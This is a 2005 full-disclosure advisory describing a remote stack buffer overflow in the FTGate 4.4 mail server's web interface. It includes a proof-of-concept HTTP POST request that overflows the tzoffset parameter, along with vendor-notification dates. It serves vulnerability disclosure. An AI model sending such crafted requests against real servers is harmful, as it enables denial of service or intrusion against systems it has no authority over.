[Full-disclosure] [ACSSEC-2005-11-25-0x4] FTGate 4.4 [Build 4.4.000 Oct 26 2005] St ack Buffer Overflow

Type securityvulns
Reporter Securityvulns
Modified 2005-12-20T00:00:00


-=[+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++]=- ACS Security Assessment Advisory - Stack Buffer Overflow ID: ACSSEC-2005-11-25 - 0x4 Class: Stack based Buffer Overflow Package: FTGate 4.4 [Build 4.4.000 Oct 26 2005]
Build: Windows NT/2k/XP/2k3 Notified: Dec 01, 2005 Released: Dec 20, 2005 Remote: Yes Severity: Low Credit: Tim Shelton <security-advisories@acs-inc.com> -=[+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++]=- -=[ Background FTGate4 is a powerful Windows(TM) communication suite that combines exceptional mail handling facilities with comprehensive Groupware functionality. Its security and collaboration features were developed in conjunction with leading ISP's and define a new era in mail server performance.

-=[ Technical Description FTGate 4.4 [Build 4.4.000 Oct 26 2005] is vulnerable to buffer overflow via a specially crafted POST request. A remote attacker could issue the vulnerable command followed by a malicious code to execute arbitrary code.

-=[ Proof of Concepts POST /index.fts HTTP/1.1 Host: User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; redsand) Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Cookie: SessId=9b5cdbb1c3e1a06da4bf0789b25fe38a; modified=null; webadmin.remember=null; webadmin.username=null Referer: Content-Type: application/x-www-form-urlencoded Content-Length: 346 config=1&param1=&href=&tzoffset=1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111&admin=administrator%40example.com&password=test12345

An overflow can be found at the variable tzoffset=[OVERFLOW] -=[ Solution No remedy available as of December 2005. -=[ Credits Vulnerability originally reported by Tim Shelton

-=[ ChangeLog 2005-11-25 : Original Advisory 2005-12-01 : Notified Vendor 2005-12-20 : No response from vendor, disclosing full information.